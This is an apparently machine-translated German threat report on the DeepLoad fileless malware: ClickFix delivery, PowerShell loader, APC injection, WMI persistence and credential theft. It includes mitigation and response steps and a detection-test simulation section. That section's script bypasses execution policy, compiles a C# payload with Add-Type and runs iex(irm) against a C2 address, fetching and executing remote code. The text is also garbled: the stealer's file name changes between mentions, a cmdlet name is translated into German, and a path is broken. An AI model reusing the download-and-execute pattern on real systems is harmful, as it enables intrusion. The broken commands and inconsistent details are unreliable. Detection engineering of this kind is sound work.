DeepLoad-Malware kombiniert ClickFix-Übermittlung mit KI-generierter Umgehung

Zusammenfassung

DeepLoad ist eine Dateilos-Malware-Familie, die durch ClickFix-Sozialengineering verbreitet wird. Sie basiert auf einem verschleierten PowerShell-Loader, speicherinterner Shellcode-Injektion in vertrauenswürdige Windows-Prozesse und auf KI-generiertem „Rauschen“, um die Erkennungsgenauigkeit statischer Analysen zu reduzieren. Der Loader stellt Persistenz durch eine geplante Aufgabe und WMI-Ereignisabonnements her, kann sich über USB-Medien verbreiten und stiehlt Anmeldedaten über sowohl eine zwielichtige Browsererweiterung als auch eine begleitende Datei manager.exe-Komponente.

Untersuchung

Der Bericht beschreibt den anfänglichen Zugriff beginnend mit einem vom Opfer ausgeführten PowerShell-Befehl, gefolgt von der Loader-Abrufung über mshta.exe. Der Loader verwendet Add-Type, um zur Laufzeit eine temporäre DLL zu erzeugen und injiziert dann Shellcode in LockAppHost.exe mittels APC-Injektion. Die Persistenz wird durch eine geplante Aufgabe und ein verstecktes WMI-Ereignisabonnement aufrechterhalten, das eine erneute Infektion selbst nach Bereinigung wiederherstellen kann, mit einem festgestellten Verzögerungsfenster von etwa drei Tagen. Der Anmeldeinformationsdiebstahl wird dateimanager.exe zugeschrieben, zusammen mit einer bösartigen Browsererweiterung, die parallel arbeitet.

Minderung

Aktivieren PowerShell Script Block Logging und alarmieren bei verdächtigen PowerShell-Ausführungsabläufen. Überwachen Sie ausgehende Netzwerkaktivitäten von mshta.exe, beobachten Sie die Erstellung unerwarteter geplanter Aufgaben und detektieren Sie anomale QueueUserAPC-Nutzungen, die auf APC-Injektionen hindeuten. Während der Behebung sollten WMI-Ereignisabonnements explizit aufgelistet und entfernt werden, anstatt sich nur auf Datei-/Registry-Bereinigungen zu verlassen. Drehen Sie exponierte Anmeldedaten und entfernen Sie nicht autorisierte Browser-Erweiterungen, um Pfade für Anmeldeinformationsdiebstahl zu unterbrechen.

Reaktion

Wenn DeepLoad-Aktivitäten erkannt werden, isolieren Sie den Host, stoppen Sie bösartige PowerShell-Aktivitäten und beenden Sie alle injizierten Prozesse. Entfernen Sie die geplante Aufgabe und löschen Sie das zugehörige WMI-Abonnement, dann beseitigen Sie filemanager.exe und die bösartige Browsererweiterung. Drehen Sie alle potenziell kompromittierten Anmeldedaten, desinfizieren Sie alle angeschlossenen USB-Medien und überprüfen Sie das System auf Reste von Injektionsartefakten, bevor Sie es wieder in Betrieb nehmen.

Keywords: DeepLoad, ClickFix, dateilos Malware, PowerShell-Loader, mshta.exe, Add-Type, speicherinterner Shellcode, APC-Injektion, QueueUserAPC, LockAppHost.exe, geplante Aufgabenpersistenz, WMI-Ereignisabonnement, USB-Verbreitung, bösartige Browsererweiterung, Anmeldediebstahl.

Simulationsausführung

Voraussetzung: Der Telemetrie- & Baseline-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Beschreibungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu Fehldiagnosen.

• Angriffsbericht & Befehle:

  1. Erste Fußfassung: Der Angreifer hat eine niedrig privilegierte PowerShell-Session auf dem Opfer-Host.
  2. Umgehen der Ausführungsrichtlinie: Sie rufen PowerShell auf mit -ep Bypass um alle Skript-Ausführungsbeschränkungen zu ignorieren.
  3. .NET-Payload kompilieren: Mit Add-Typebinden sie eine kleine C#-Klasse ein, die bei Instanziierung eine Webanfrage an den C2-Server durchführt (http://10.0.0.5:3015/index).
  4. Remote-Skript herunterladen & ausführen: Der Angreifer leitet das Ergebnis von irm (Invoke‑RestMethod) in iexein, um das bösartige Skript im Speicher auszuführen.
  5. Ergebnis-Telemetrie: Die vom Betriebssystem aufgezeichnete Befehlszeile enthält die drei erforderlichen Zeichenfolgen (-ep Bypass, Add-Type, iex(irm http://…:3015/index)) und erfüllt damit die Sigma-Regel.

• Regressionstest-Skript:

  # DeepLoad-ähnliche bösartige Ausführung
  # Dieses Skript reproduziert das genaue Befehlsmuster, das erforderlich ist, um die Sigma-Regel zu aktivieren.
  $c2 = "http://10.0.0.5:3015/index"
  $payload = @"
  using System;
  using System.Net;
  public class Loader {
  public static void Run() {
      new WebClient().DownloadString(""$c2"");
  }
  }
  "@
  # PowerShell mit dem Bypass-Flag aufrufen, das Payload kompilieren und dann Remote-Skript ausführen
  powershell -NoProfile -ExecutionPolicy Bypass -Command `
      "Add-Type -TypeDefinition `$payload; `
       iex (irm $c2)"

• Aufräumbefehle:

  # Entfernen Sie alle temporären Dateien oder geladenen Assemblies (falls vorhanden)
  Entfernen-Element -Path "$env:TEMPloader.dll" -ErrorAction SilentlyContinue
  # Optional: Löschen Sie das PowerShell-Transkript (falls aktiviert)
  Clear-Host

Ende des Berichts